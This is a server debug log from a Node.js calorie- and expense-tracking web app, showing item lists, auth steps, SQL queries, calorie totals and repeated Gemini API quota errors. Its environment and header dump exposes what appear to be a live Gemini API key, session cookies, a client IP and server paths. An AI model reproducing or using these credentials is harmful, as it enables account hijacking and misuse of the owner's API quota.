  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T03:52:04.937Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T03:52:04.937Z server-connect:app Executing action step identify
2025-12-13T03:52:04.937Z server-connect:app options: { provider: 'security' }
2025-12-13T03:52:04.937Z server-connect:output identity: 1
2025-12-13T03:52:04.937Z server-connect:app Executing action step restrict
2025-12-13T03:52:04.937Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T03:52:04.938Z server-connect:output restrict: undefined
2025-12-13T03:52:04.938Z server-connect:router Render template calorie-tracker
2025-12-13T03:52:04.938Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.255.97',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.255.97',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.255.97',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T03:52:05.161Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T03:52:05.162Z server-connect:app Executing action step identify
2025-12-13T03:52:05.162Z server-connect:app options: { provider: 'security' }
2025-12-13T03:52:05.162Z server-connect:output identity: 1
2025-12-13T03:52:05.162Z server-connect:app Executing action step restrict
2025-12-13T03:52:05.162Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T03:52:05.163Z server-connect:output restrict: undefined
2025-12-13T03:52:05.163Z server-connect:app Executing action step single
2025-12-13T03:52:05.163Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T03:52:05.167Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T03:52:05.167Z server-connect:app Executing action step select
2025-12-13T03:52:05.167Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T03:52:05.169Z server-connect:output item_list: []
2025-12-13T03:52:05.171Z server-connect:app Executing action step setvalue
2025-12-13T03:52:05.172Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T03:52:05.172Z server-connect:output var_total: 0
2025-12-13T03:52:05.172Z server-connect:app Executing action step setvalue
2025-12-13T03:52:05.172Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T03:52:05.172Z server-connect:output var_consumed: 0
2025-12-13T03:52:05.172Z server-connect:app Executing action step setvalue
2025-12-13T03:52:05.172Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T03:52:05.172Z server-connect:output var_deficit: 2400
2025-12-13T03:52:05.172Z server-connect:app Executing action step custom
2025-12-13T03:52:05.172Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T03:52:05.174Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  }
]
2025-12-13T03:52:25.598Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T03:52:25.599Z server-connect:app Executing action step identify
2025-12-13T03:52:25.599Z server-connect:app options: { provider: 'security' }
2025-12-13T03:52:25.599Z server-connect:output identity: 1
2025-12-13T03:52:25.599Z server-connect:app Executing action step restrict
2025-12-13T03:52:25.599Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T03:52:25.599Z server-connect:output restrict: undefined
2025-12-13T03:52:26.106Z server-connect:app Executing action step processWithGemini
2025-12-13T03:52:26.106Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\nPlease retry in 33.518717612s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"33s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-13T03:52:26.509Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\nPlease retry in 33.518717612s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"33s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T03:52:26.510Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\nPlease retry in 33.518717612s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"33s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T03:52:30.874Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T03:52:30.874Z server-connect:app Executing action step identify
2025-12-13T03:52:30.874Z server-connect:app options: { provider: 'security' }
2025-12-13T03:52:30.874Z server-connect:output identity: 1
2025-12-13T03:52:30.874Z server-connect:app Executing action step restrict
2025-12-13T03:52:30.874Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T03:52:30.875Z server-connect:output restrict: undefined
2025-12-13T03:52:30.875Z server-connect:app Executing action step processWithGemini
2025-12-13T03:52:30.875Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 29.062271781s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            